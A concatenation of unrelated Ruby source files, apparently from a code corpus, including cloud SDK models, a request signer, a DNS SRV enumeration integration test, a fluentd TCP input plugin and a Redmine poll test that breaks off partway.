# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# Summary data catalog type information. All types are statically defined in the system and are immutable.
# It isn't possible to create new types or update existing types via the API.
#
class DataCatalog::Models::TypeSummary
LIFECYCLE_STATE_ENUM = [
LIFECYCLE_STATE_CREATING = 'CREATING'.freeze,
LIFECYCLE_STATE_ACTIVE = 'ACTIVE'.freeze,
LIFECYCLE_STATE_INACTIVE = 'INACTIVE'.freeze,
LIFECYCLE_STATE_UPDATING = 'UPDATING'.freeze,
LIFECYCLE_STATE_DELETING = 'DELETING'.freeze,
LIFECYCLE_STATE_DELETED = 'DELETED'.freeze,
LIFECYCLE_STATE_FAILED = 'FAILED'.freeze,
LIFECYCLE_STATE_MOVING = 'MOVING'.freeze,
LIFECYCLE_STATE_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze
].freeze
# **[Required]** Unique type key that is immutable.
# @return [String]
attr_accessor :key
# The immutable name of the type.
# @return [String]
attr_accessor :name
# Detailed description of the type.
# @return [String]
attr_accessor :description
# The data catalog's OCID.
# @return [String]
attr_accessor :catalog_id
# Indicates the category this type belongs to. For instance, data assets, connections.
# @return [String]
attr_accessor :type_category
# URI to the type instance in the API.
# @return [String]
attr_accessor :uri
# State of the folder.
# @return [String]
attr_reader :lifecycle_state
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'key': :'key',
'name': :'name',
'description': :'description',
'catalog_id': :'catalogId',
'type_category': :'typeCategory',
'uri': :'uri',
'lifecycle_state': :'lifecycleState'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'key': :'String',
'name': :'String',
'description': :'String',
'catalog_id': :'String',
'type_category': :'String',
'uri': :'String',
'lifecycle_state': :'String'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [String] :key The value to assign to the {#key} property
# @option attributes [String] :name The value to assign to the {#name} property
# @option attributes [String] :description The value to assign to the {#description} property
# @option attributes [String] :catalog_id The value to assign to the {#catalog_id} property
# @option attributes [String] :type_category The value to assign to the {#type_category} property
# @option attributes [String] :uri The value to assign to the {#uri} property
# @option attributes [String] :lifecycle_state The value to assign to the {#lifecycle_state} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.key = attributes[:'key'] if attributes[:'key']
self.name = attributes[:'name'] if attributes[:'name']
self.description = attributes[:'description'] if attributes[:'description']
self.catalog_id = attributes[:'catalogId'] if attributes[:'catalogId']
raise 'You cannot provide both :catalogId and :catalog_id' if attributes.key?(:'catalogId') && attributes.key?(:'catalog_id')
self.catalog_id = attributes[:'catalog_id'] if attributes[:'catalog_id']
self.type_category = attributes[:'typeCategory'] if attributes[:'typeCategory']
raise 'You cannot provide both :typeCategory and :type_category' if attributes.key?(:'typeCategory') && attributes.key?(:'type_category')
self.type_category = attributes[:'type_category'] if attributes[:'type_category']
self.uri = attributes[:'uri'] if attributes[:'uri']
self.lifecycle_state = attributes[:'lifecycleState'] if attributes[:'lifecycleState']
raise 'You cannot provide both :lifecycleState and :lifecycle_state' if attributes.key?(:'lifecycleState') && attributes.key?(:'lifecycle_state')
self.lifecycle_state = attributes[:'lifecycle_state'] if attributes[:'lifecycle_state']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Custom attribute writer method checking allowed values (enum).
# @param [Object] lifecycle_state Object to be assigned
def lifecycle_state=(lifecycle_state)
# rubocop:disable Style/ConditionalAssignment
if lifecycle_state && !LIFECYCLE_STATE_ENUM.include?(lifecycle_state)
OCI.logger.debug("Unknown value for 'lifecycle_state' [" + lifecycle_state + "]. Mapping to 'LIFECYCLE_STATE_UNKNOWN_ENUM_VALUE'") if OCI.logger
@lifecycle_state = LIFECYCLE_STATE_UNKNOWN_ENUM_VALUE
else
@lifecycle_state = lifecycle_state
end
# rubocop:enable Style/ConditionalAssignment
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
key == other.key &&
name == other.name &&
description == other.description &&
catalog_id == other.catalog_id &&
type_category == other.type_category &&
uri == other.uri &&
lifecycle_state == other.lifecycle_state
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[key, name, description, catalog_id, type_category, uri, lifecycle_state].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 37.561753 | 245 | 0.675965 |
e27e61fceb5871e82eb125f0811cce674c93d917 | 159 | module MessageFormatHelper
include RegexHelper
def transform_user_mention_content(message_content)
message_content.gsub(MENTION_REGEX, '\1')
end
end
| 22.714286 | 53 | 0.81761 |
b99ac0cde98744e3ce21ff014644e13a852fb26c | 2,268 | require_relative '../spec_helper'
describe "Intrigue v1.0 Tasks" do
describe "DnsSrvBruteTask" do
include Intrigue::Test::Integration
###
### dns_brute_srv
###
it "runs a default dns_brute_srv and returns the correct result" do
entity = {:type => "DnsRecord", :attributes => {:name => "rapid7.com"}}
# Returns a ruby hash of the task_run
result = task_start_and_wait("dns_brute_srv", entity)
correct = [
{"type"=>"DnsRecord",
"attributes"=>{"name"=>"_sip._tls.rapid7.com"},
"parent"=>
{"task"=>"dns_brute_srv: 1.0",
"entity"=>{"type"=>"DnsRecord", "attributes"=>{"name"=>"rapid7.com"}}}},
{"type"=>"Host",
"attributes"=>{"name"=>"sipdir.online.lync.com"},
"parent"=>
{"task"=>"dns_brute_srv: 1.0",
"entity"=>{"type"=>"DnsRecord", "attributes"=>{"name"=>"rapid7.com"}}}},
{"type"=>"NetSvc",
"attributes"=>
{"name"=>"sipdir.online.lync.com:443/tcp",
"proto"=>"tcp",
"port"=>443,
"ip_address"=>"sipdir.online.lync.com"},
"parent"=>
{"task"=>"dns_brute_srv: 1.0",
"entity"=>{"type"=>"DnsRecord", "attributes"=>{"name"=>"rapid7.com"}}}},
{"type"=>"DnsRecord",
"attributes"=>{"name"=>"_sipfederationtls._tcp.rapid7.com"},
"parent"=>
{"task"=>"dns_brute_srv: 1.0",
"entity"=>{"type"=>"DnsRecord", "attributes"=>{"name"=>"rapid7.com"}}}},
{"type"=>"Host",
"attributes"=>{"name"=>"sipfed.online.lync.com"},
"parent"=>
{"task"=>"dns_brute_srv: 1.0",
"entity"=>{"type"=>"DnsRecord", "attributes"=>{"name"=>"rapid7.com"}}}},
{"type"=>"NetSvc",
"attributes"=>
{"name"=>"sipfed.online.lync.com:5061/tcp",
"proto"=>"tcp",
"port"=>5061,
"ip_address"=>"sipfed.online.lync.com"},
"parent"=>
{"task"=>"dns_brute_srv: 1.0",
"entity"=>{"type"=>"DnsRecord", "attributes"=>{"name"=>"rapid7.com"}}}}]
# Check the result
expect(result["entities"]).to match correct
end
end
end
| 35.4375 | 90 | 0.497354 |
08feb77ee9bceced47998278ddc5e5d21dba9a9c | 2,770 | require 'openssl'
require 'mauth/errors'
# methods to sign requests and responses. part of MAuth::Client
module MAuth
class Client
SIGNING_DIGEST = OpenSSL::Digest::SHA512.new
module Signer
UNABLE_TO_SIGN_ERR = UnableToSignError.new('mAuth client cannot sign without a private key!')
# takes an outgoing request or response object, and returns an object of the same class
# whose headers are updated to include mauth's signature headers
def signed(object, attributes = {})
object.merge_headers(signed_headers(object, attributes))
end
# signs with v1 only. used when signing responses to v1 requests.
def signed_v1(object, attributes = {})
object.merge_headers(signed_headers_v1(object, attributes))
end
def signed_v2(object, attributes = {})
object.merge_headers(signed_headers_v2(object, attributes))
end
# takes a signable object (outgoing request or response). returns a hash of headers to be
# applied to the object which comprises its signature.
def signed_headers(object, attributes = {})
if v2_only_sign_requests?
signed_headers_v2(object, attributes)
elsif v1_only_sign_requests?
signed_headers_v1(object, attributes)
else # by default sign with both the v1 and v2 protocol
signed_headers_v1(object, attributes).merge(signed_headers_v2(object, attributes))
end
end
def signed_headers_v1(object, attributes = {})
attributes = { time: Time.now.to_i.to_s, app_uuid: client_app_uuid }.merge(attributes)
string_to_sign = object.string_to_sign_v1(attributes)
signature = self.signature_v1(string_to_sign)
{ 'X-MWS-Authentication' => "#{MWS_TOKEN} #{client_app_uuid}:#{signature}", 'X-MWS-Time' => attributes[:time] }
end
def signed_headers_v2(object, attributes = {})
attributes = { time: Time.now.to_i.to_s, app_uuid: client_app_uuid }.merge(attributes)
string_to_sign = object.string_to_sign_v2(attributes)
signature = self.signature_v2(string_to_sign)
{
'MCC-Authentication' => "#{MWSV2_TOKEN} #{client_app_uuid}:#{signature}#{AUTH_HEADER_DELIMITER}",
'MCC-Time' => attributes[:time]
}
end
def signature_v1(string_to_sign)
assert_private_key(UNABLE_TO_SIGN_ERR)
hashed_string_to_sign = OpenSSL::Digest::SHA512.hexdigest(string_to_sign)
Base64.encode64(private_key.private_encrypt(hashed_string_to_sign)).delete("\n")
end
def signature_v2(string_to_sign)
assert_private_key(UNABLE_TO_SIGN_ERR)
Base64.encode64(private_key.sign(SIGNING_DIGEST, string_to_sign)).delete("\n")
end
end
end
end
| 39.571429 | 119 | 0.69278 |
26013f26845c820f7842b824eb552bfa411818c4 | 378 | # encoding: UTF-8
# This file contains data derived from the IANA Time Zone Database
# (https://www.iana.org/time-zones).
module TZInfo
module Data
module Definitions
module America
module St_Thomas
include TimezoneDefinition
linked_timezone 'America/St_Thomas', 'America/Puerto_Rico'
end
end
end
end
end
| 19.894737 | 68 | 0.650794 |
1d572c442f8c8d3e40b707ec9457d75d487fc58c | 3,664 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::DataFactory::Mgmt::V2017_09_01_preview
module Models
#
# Magento server dataset.
#
class MagentoObjectDataset < Dataset
include MsRestAzure
def initialize
@type = "MagentoObject"
end
attr_accessor :type
#
# Mapper for MagentoObjectDataset class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'MagentoObject',
type: {
name: 'Composite',
class_name: 'MagentoObjectDataset',
model_properties: {
additional_properties: {
client_side_validation: true,
required: false,
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'ObjectElementType',
type: {
name: 'Object'
}
}
}
},
description: {
client_side_validation: true,
required: false,
serialized_name: 'description',
type: {
name: 'String'
}
},
structure: {
client_side_validation: true,
required: false,
serialized_name: 'structure',
type: {
name: 'Object'
}
},
linked_service_name: {
client_side_validation: true,
required: true,
serialized_name: 'linkedServiceName',
default_value: {},
type: {
name: 'Composite',
class_name: 'LinkedServiceReference'
}
},
parameters: {
client_side_validation: true,
required: false,
serialized_name: 'parameters',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'ParameterSpecificationElementType',
type: {
name: 'Composite',
class_name: 'ParameterSpecification'
}
}
}
},
annotations: {
client_side_validation: true,
required: false,
serialized_name: 'annotations',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'ObjectElementType',
type: {
name: 'Object'
}
}
}
},
type: {
client_side_validation: true,
required: true,
serialized_name: 'type',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 29.312 | 75 | 0.418395 |
91060106e0cfeee47e597080c759a253e31576fa | 8,532 | require 'lotus/view/rendering/template_name'
require 'lotus/view/rendering/layout_finder'
module Lotus
module View
# Class level DSL
#
# @since 0.1.0
module Dsl
# When a value is given, specify a templates root path for the view.
# Otherwise, it returns templates root path.
#
# When not initialized, it will return the global value from `Lotus::View.root`.
#
# @param value [String] the templates root for this view
#
# @return [Pathname] the specified root for this view or the global value
#
# @since 0.1.0
#
# @example Default usage
# require 'lotus/view'
#
# module Articles
# class Show
# include Lotus::View
# end
# end
#
# Lotus::View.configuration.root # => 'app/templates'
# Articles::Show.root # => 'app/templates'
#
# @example Custom root
# require 'lotus/view'
#
# module Articles
# class Show
# include Lotus::View
# root 'path/to/articles/templates'
# end
# end
#
# Lotus::View.configuration.root # => 'app/templates'
# Articles::Show.root # => 'path/to/articles/templates'
def root(value = nil)
if value
configuration.root(value)
else
configuration.root
end
end
# When a value is given, specify the handled format.
# Otherwise, it returns the previously specified format.
#
# @param value [Symbol] the format
#
# @return [Symbol, nil] the specified format for this view, if set
#
# @since 0.1.0
#
# @example
# require 'lotus/view'
#
# module Articles
# class Show
# include Lotus::View
# end
#
# class JsonShow < Show
# format :json
# end
# end
#
# Articles::Show.format # => nil
# Articles::JsonShow.format # => :json
def format(value = nil)
if value
@format = value
else
@format
end
end
# When a value is given, specify the relative path to the template.
# Otherwise, it returns the name that follows Lotus::View conventions.
#
# @param value [String] relative template path
#
# @return [String] the specified template for this view or the name
# that follows the convention
#
# @since 0.1.0
#
# @example Default usage
# require 'lotus/view'
#
# module Articles
# class Show
# include Lotus::View
# end
#
# class JsonShow < Show
# format :json
# end
# end
#
# Articles::Show.template # => 'articles/show'
# Articles::JsonShow.template # => 'articles/show'
#
# @example Custom template
# require 'lotus/view'
#
# module Articles
# class Show
# include Lotus::View
# template 'articles/single_article'
# end
#
# class JsonShow < Show
# format :json
# end
# end
#
# Articles::Show.template # => 'articles/single_article'
# Articles::JsonShow.template # => 'articles/single_article'
#
# @example With namespace
# require 'lotus/view'
#
# module Furnitures
# View = Lotus::View.generate(self)
#
# class Standalone
# include Furnitures::View
# end
#
# module Catalog
# class Index
# Furnitures::View
# end
# end
# end
#
# Furnitures::Standalone.template # => 'standalone'
# Furnitures::Catalog::Index.template # => 'catalog/index'
#
# @example With nested namespace
# require 'lotus/view'
#
# module Frontend
# View = Lotus::View.generate(self)
#
# class StandaloneView
# include Frontend::View
# end
#
# module Views
# class Standalone
# include Frontend::View
# end
#
# module Sessions
# class New
# include Frontend::View
# end
# end
# end
# end
#
# Frontend::StandaloneView.template # => 'standalone_view'
# Frontend::Views::Standalone.template # => 'standalone'
# Frontend::Views::Sessions::New.template # => 'sessions/new'
#
# @example With deeply nested namespace
# require 'lotus/view'
#
# module Bookshelf
# module Web
# View = Lotus::View.generate(self)
#
# module Views
# module Books
# class Show
# include Bookshelf::Web::View
# end
# end
# end
# end
#
# module Api
# View = Lotus::View.generate(self)
#
# module Views
# module Books
# class Show
# include Bookshelf::Api::View
# end
# end
# end
# end
# end
#
# Bookshelf::Web::Views::Books::Index.template # => 'books/index'
# Bookshelf::Api::Views::Books::Index.template # => 'books/index'
def template(value = nil)
if value
@@template = value
else
@@template ||= Rendering::TemplateName.new(name, configuration.namespace).to_s
end
end
# When a value is given, it specifies the layout.
# Otherwise, it returns the previously specified layout.
#
# When the global configuration is set (`Lotus::View.layout=`), after the
# loading process, it will return that layout if not otherwise specified.
#
# @param value [Symbol,nil] the layout name
#
# @return [Symbol, nil] the specified layout for this view, if set
#
# @since 0.1.0
#
# @see Lotus::Layout
#
# @example Default usage
# require 'lotus/view'
#
# module Articles
# class Show
# include Lotus::View
# end
# end
#
# Articles::Show.layout # => nil
#
# @example Custom layout
# require 'lotus/view'
#
# class ArticlesLayout
# include Lotus::Layout
# end
#
# module Articles
# class Show
# include Lotus::View
# layout :articles
# end
# end
#
# Articles::Show.layout # => :articles
#
# @example Global configuration
# require 'lotus/view'
#
# class ApplicationLayout
# include Lotus::Layout
# end
#
# module Articles
# class Show
# include Lotus::View
# end
# end
#
# Lotus::View.layout = :application
# Articles::Show.layout # => nil
#
# Lotus::View.load!
# Articles::Show.layout # => :application
#
# @example Global configuration with custom layout
# require 'lotus/view'
#
# class ApplicationLayout
# include Lotus::Layout
# end
#
# class ArticlesLayout
# include Lotus::Layout
# end
#
# module Articles
# class Show
# include Lotus::View
# layout :articles
# end
# end
#
# Lotus::View.layout = :application
# Articles::Show.layout # => :articles
#
# Lotus::View.load!
# Articles::Show.layout # => :articles
def layout(value = nil)
if value
@layout = value
else
@layout ||= configuration.layout
end
end
protected
# Loading mechanism hook.
#
# @api private
# @since 0.1.0
#
# @see Lotus::View.load!
def load!
super
views.each do |v|
v.root.freeze
v.format.freeze
v.template.freeze
v.layout(Rendering::LayoutFinder.new(v).find)
v.layout#.freeze
end
end
end
end
end
| 26.091743 | 88 | 0.4891 |
61b69f1dd173946124c233ef69b714dc3383a6eb | 140 | require File.expand_path('../../../spec_helper', __FILE__)
describe "Set#reject!" do
it "needs to be reviewed for spec completeness"
end
| 23.333333 | 58 | 0.721429 |
1d18ac2a46aee04d048fc74384cfeb576900881d | 58 | require 'ubiquity/vimeo/api/client/requests/base_request'
| 29 | 57 | 0.844828 |
7a44c4d4351a6b1a436a0e642c0bf51d0eb5c6d7 | 1,168 | module Rack
# A multipart form data parser, adapted from IOWA.
#
# Usually, Rack::Request#POST takes care of calling this.
module Multipart
autoload :UploadedFile, 'rack/multipart/uploaded_file'
autoload :Parser, 'rack/multipart/parser'
autoload :Generator, 'rack/multipart/generator'
EOL = "\r\n"
MULTIPART_BOUNDARY = "AaB03x"
MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|ni
TOKEN = /[^\s()<>,;:\\"\/\[\]?=]+/
CONDISP = /Content-Disposition:\s*#{TOKEN}\s*/i
DISPPARM = /;\s*(#{TOKEN})=("(?:\\"|[^"])*"|#{TOKEN})/
RFC2183 = /^#{CONDISP}(#{DISPPARM})+$/i
BROKEN_QUOTED = /^#{CONDISP}.*;\sfilename="(.*?)"(?:\s*$|\s*;\s*#{TOKEN}=)/i
BROKEN_UNQUOTED = /^#{CONDISP}.*;\sfilename=(#{TOKEN})/i
MULTIPART_CONTENT_TYPE = /Content-Type: (.*)#{EOL}/ni
MULTIPART_CONTENT_DISPOSITION = /Content-Disposition:.*\s+name="?([^\";]*)"?/ni
MULTIPART_CONTENT_ID = /Content-ID:\s*([^#{EOL}]*)/ni
class << self
def parse_multipart(env)
Parser.create(env).parse
end
def build_multipart(params, first = true)
Generator.new(params, first).dump
end
end
end
end
| 33.371429 | 83 | 0.593322 |
79c69945bce16069c6792ff082d711c2cfa422e3 | 2,795 | #!/usr/bin/env ruby
# Encoding: utf-8
#
# Copyright:: Copyright 2019 Google LLC
#
# License:: Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# This example fetches all CmsMetadataKeys associated with a piece of content
# from a publisher's CMS.
require 'ad_manager_api'
def get_all_cms_metadata_keys(ad_manager)
# Get the CmsMetadataService.
cms_metadata_service = ad_manager.service(:CmsMetadataService, API_VERSION)
# Create a statement to select all CmsMetadataKeys.
statement = ad_manager.new_statement_builder()
# Retrieve a small number of keys at a time, paging through until all keys
# have been retrieved.
page = {:total_result_set_size => 0}
begin
page = cms_metadata_service.get_cms_metadata_keys_by_statement(
statement.to_statement()
)
# Print out some information for each key.
unless page[:results].nil?
page[:results].each_with_index do |cms_metadata_key, index|
puts '%d) CmsMetadataKey with Id %d and name "%s" was found.' % [
index + statement.offset,
cms_metadata_key[:id],
cms_metadata_key[:name]
]
end
end
# Increase the statement offset by the page size to get the next page.
statement.offset += statement.limit
end while statement.offset < page[:total_result_set_size]
puts 'Total number of CmsMetadataValues: %d' % page[:total_result_set_size]
end
if __FILE__ == $0
API_VERSION = :v202011
# Get AdManagerApi instance and load configuration from ~/ad_manager_api.yml.
ad_manager = AdManagerApi::Api.new
# To enable logging of SOAP requests, set the log_level value to 'DEBUG' in
# the configuration file or provide your own logger:
# ad_manager.logger = Logger.new('ad_manager_xml.log')
begin
get_all_cms_metadata_keys(ad_manager)
# HTTP errors.
rescue AdsCommon::Errors::HttpError => e
puts "HTTP Error: %s" % e
# API errors.
rescue AdManagerApi::Errors::ApiException => e
puts "Message: %s" % e.message
puts 'Errors:'
e.errors.each_with_index do |error, index|
puts "\tError [%d]:" % (index + 1)
error.each do |field, value|
puts "\t\t%s: %s" % [field, value]
end
end
end
end
| 32.126437 | 79 | 0.686225 |
91a94eb376e34c10ae9d8d7197bc8ca40ff2b6da | 6,958 | #
# Fluentd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'fluent/plugin/input'
module Fluent::Plugin
class TcpInput < Input
Fluent::Plugin.register_input('tcp', self)
helpers :server, :parser, :extract, :compat_parameters
desc 'Tag of output events.'
config_param :tag, :string
desc 'The port to listen to.'
config_param :port, :integer, default: 5170
desc 'The bind address to listen to.'
config_param :bind, :string, default: '0.0.0.0'
desc "The field name of the client's hostname."
config_param :source_host_key, :string, default: nil, deprecated: "use source_hostname_key instead."
desc "The field name of the client's hostname."
config_param :source_hostname_key, :string, default: nil
desc "The field name of the client's address."
config_param :source_address_key, :string, default: nil
desc "File name of the record transformation function"
config_param :record_transform, :string, default: nil
config_param :blocking_timeout, :time, default: 0.5
desc 'The payload is read up to this character.'
config_param :delimiter, :string, default: "\n" # syslog family add "\n" to each message and this seems only way to split messages in tcp stream
# in_forward like host/network restriction
config_section :security, required: false, multi: false do
config_section :client, param_name: :clients, required: true, multi: true do
desc 'The IP address or host name of the client'
config_param :host, :string, default: nil
desc 'Network address specification'
config_param :network, :string, default: nil
end
end
def configure(conf)
compat_parameters_convert(conf, :parser)
parser_config = conf.elements('parse').first
unless parser_config
raise Fluent::ConfigError, "<parse> section is required."
end
super
@_event_loop_blocking_timeout = @blocking_timeout
@source_hostname_key ||= @source_host_key if @source_host_key
@nodes = nil
if @security
@nodes = []
@security.clients.each do |client|
if client.host && client.network
raise Fluent::ConfigError, "both of 'host' and 'network' are specified for client"
end
if !client.host && !client.network
raise Fluent::ConfigError, "Either of 'host' and 'network' must be specified for client"
end
source = nil
if client.host
begin
source = IPSocket.getaddress(client.host)
rescue SocketError
raise Fluent::ConfigError, "host '#{client.host}' cannot be resolved"
end
end
source_addr = begin
IPAddr.new(source || client.network)
rescue ArgumentError
raise Fluent::ConfigError, "network '#{client.network}' address format is invalid"
end
@nodes.push(source_addr)
end
end
if !@record_transform.nil?
if File.exist?(@record_transform)
@transform_fn = File.read(@record_transform)
else
raise Fluent::ConfigError, "cannot open modify function file '#{@record_transform}'"
end
end
@parser = parser_create(conf: parser_config)
end
def multi_workers_ready?
true
end
def start
super
del_size = @delimiter.length
if @_extract_enabled && @_extract_tag_key
server_create(:in_tcp_server_single_emit, @port, bind: @bind, resolve_name: !!@source_hostname_key) do |data, conn|
unless check_client(conn)
conn.close
next
end
conn.buffer << data
buf = conn.buffer
pos = 0
while i = buf.index(@delimiter, pos)
msg = buf[pos...i]
pos = i + del_size
@parser.parse(msg) do |time, record|
unless time && record
log.warn "pattern not matched", message: msg
next
end
record_transform_per_connection(conn, record)
tag = extract_tag_from_record(record)
tag ||= @tag
time ||= extract_time_from_record(record) || Fluent::EventTime.now
record[@source_address_key] = conn.remote_addr if @source_address_key
record[@source_hostname_key] = conn.remote_host if @source_hostname_key
router.emit(tag, time, record)
end
end
buf.slice!(0, pos) if pos > 0
end
else
server_create(:in_tcp_server_batch_emit, @port, bind: @bind, resolve_name: !!@source_hostname_key) do |data, conn|
unless check_client(conn)
conn.close
next
end
conn.buffer << data
buf = conn.buffer
pos = 0
es = Fluent::MultiEventStream.new
while i = buf.index(@delimiter, pos)
msg = buf[pos...i]
pos = i + del_size
@parser.parse(msg) do |time, record|
unless time && record
log.warn "pattern not matched", message: msg
next
end
record_transform_per_connection(conn, record)
time ||= extract_time_from_record(record) || Fluent::EventTime.now
record[@source_address_key] = conn.remote_addr if @source_address_key
record[@source_hostname_key] = conn.remote_host if @source_hostname_key
es.add(time, record)
end
end
router.emit_stream(@tag, es)
buf.slice!(0, pos) if pos > 0
end
end
end
private
def check_client(conn)
if @nodes
remote_addr = conn.remote_addr
node = @nodes.find { |n| n.include?(remote_addr) rescue false }
unless node
log.warn "anonymous client '#{remote_addr}' denied"
return false
end
end
true
end
def record_transform_per_connection(conn, record)
if !@record_transform.nil?
sandbox = Class.new
sandbox.instance_variable_set :@conn, conn
sandbox.instance_variable_set :@record, record
sandbox.instance_eval @transform_fn
sandbox.instance_eval File.basename(@record_transform, '.rb')
end
end
end
end
| 33.776699 | 148 | 0.612101 |
e9d24bf1ef87b679034838f0ee23e3475851c523 | 1,029 | require_relative 'errors/no_items_in_order_error'
# Public: In charge of receiving rental orders and applying discounts
# to provide the final pricing.
#
# Examples
#
# order = OrderProcessor.new(
# [HourlyRental.new(2)],
# [FamilyDiscount, ChristmasDiscount]
# )
#
# order.price
# order.discount
class OrderProcessor
attr_accessor :price, :items
# Public: Initialize an OrderProcessor
#
# order - An Array of Rental subclasses
# discounts - An optional array of Discount classes (default: nil)
def initialize(order, discounts = nil)
raise NoItemsInOrderError if order.empty?
@order = order
@discounts = discounts
@items = total_items
@price = total_price
end
# Public: Returns the total discount as an Integer
# applied to an order based on the +discounts+ parameter
# received.
def discount
@discounts.sum { |d| d.calculate @items, @price }
end
private
def total_price
@order.sum(&:price)
end
def total_items
@order.sum(&:amount)
end
end | 21.4375 | 69 | 0.699708 |
2619f1aee2e616424f7f32a0b2562b648b863cd0 | 2,881 | # frozen_string_literal: true
require File.expand_path('../../test_helper', __FILE__)
class SchedulingPollTest < ActiveSupport::TestCase
include Redmine::PluginFixtureSetLoader
fixtures :projects, :issues, :roles, :users
plugin_fixtures :scheduling_polls, :scheduling_poll_items, :scheduling_votes
test "shall not save scheduling poll without issue" do
scheduling_poll = SchedulingPoll.new
assert_not scheduling_poll.save
scheduling_poll.issue = Issue.first
assert scheduling_poll.save
assert scheduling_poll.destroy
end
test "shall reject the scheduling poll items which has empty text" do
scheduling_poll = SchedulingPoll.new
scheduling_poll.issue = Issue.first
scheduling_poll.scheduling_poll_items.build(:text => '')
assert_not scheduling_poll.save
scheduling_poll.scheduling_poll_items.build(:text => ' ')
assert_not scheduling_poll.save
scheduling_poll.scheduling_poll_items.build(:text => '\t\r\n')
assert_not scheduling_poll.save
end
test "votes shall return all the votes" do
scheduling_poll = SchedulingPoll.find(1)
vote_id = SchedulingVote.arel_table[:id]
votes = SchedulingVote.where(vote_id.eq(1).or(vote_id.eq(2).or(vote_id.eq(3).or(vote_id.eq(4).or(vote_id.eq(5).or(vote_id.eq(6).or(vote_id.eq(7))))))))
assert_equal votes.sort, scheduling_poll.votes.sort
scheduling_poll = SchedulingPoll.find(2)
assert_empty scheduling_poll.votes
end
test "users shall return all the users who vote the poll" do
scheduling_poll = SchedulingPoll.find(1)
user_id = User.arel_table[:id]
users = User.where(user_id.eq(1).or(user_id.eq(2).or(user_id.eq(3))))
assert_equal users.sort, scheduling_poll.users.sort
scheduling_poll = SchedulingPoll.find(2)
assert_empty scheduling_poll.users.sort
end
test "activity fetcher shall be return based on :created_at" do
Project.find(1).enable_module! :scheduling_polls
Role.all.each do |role|
role.add_permission! :view_schduling_polls
end
